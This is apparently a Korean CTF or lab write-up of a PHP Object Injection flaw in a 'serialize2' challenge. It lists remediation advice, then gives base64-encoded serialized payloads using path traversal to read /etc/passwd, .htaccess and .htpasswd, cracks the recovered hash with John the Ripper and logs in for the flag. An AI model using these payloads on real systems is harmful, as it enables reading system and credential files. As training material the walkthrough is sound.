4.3 직렬화
| 메뉴 | URL | 파라미터 |
|---|---|---|
| 운영관리 > | /challenges/serialize2/index.php | userinfo |
취약점 개요:
- 입력을 검증 없이
unserialize()하여 객체를 생성하고 파일 접근을 수행함으로써 발생한 PHP Object Injection 문제이다. - 파일 경로 조작을 통한 서버 내부 파일 조회가 가능한 취약점이 확인됨.
개선방안
- 사용자 입력 데이터에 대한
unserialize()함수 사용 금지 - 직렬화 데이터 대신
json_decode()방식으로 구조 변경 - 소멸자(
__destruct) 내 파일 접근 로직 제거 및 명시적 함수 호출 구조로 개선
Step.1 직렬화 확인
O:5:"login":1:{s:2:"id";s:28:"../../../../../../etc/passwd";}Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czoyODoiLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ==
/etc/passwd 파일을 조회 확인
Step.2 설정파일 확인하기
기본 설정파일인 .htaccess 확인
O:5:"login":1:{s:2:"id";s:9:".htaccess";}Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czo5OiIuaHRhY2Nlc3MiO30=
AuthUserFile (유저정보 의심 파일) 경로를 확인: /var/www/fnctf/challenges/serialize2/users/.htpasswd
.htpasswd 조회
O:5:"login":1:{s:2:"id";s:9:".htpasswd";}Base64 인코딩 ->
Tzo1OiJsb2dpbiI6MTp7czoyOiJpZCI7czo5OiIuaHRwYXNzd2QiO30=
결과 확인
JohntheRipper:dBXXhz6nTBILA 계정 정보 확인
해당 내용을 리눅스에서 존더리퍼를 활용해 Decrypt
계정 정보는 JohntheRipper:24680 로 확인
JohntheRipper:dBXXhz6nTBILA 계정 정보 확인
해당 내용을 리눅스에서 존더리퍼를 활용해 Decrypt
계정 정보는 JohntheRipper:24680 로 확인
Step.3 users/ 접근
- 파일 실행 경로인
users/로 이동 - https://127.0.0.1/challenges/serialize2/users/ 로그인 창 확인
- .htpasswd 파일에서 획득한 계정 정보를 입력
- 로그인 성공! 해당 파일에는 FLAG값이 들어있음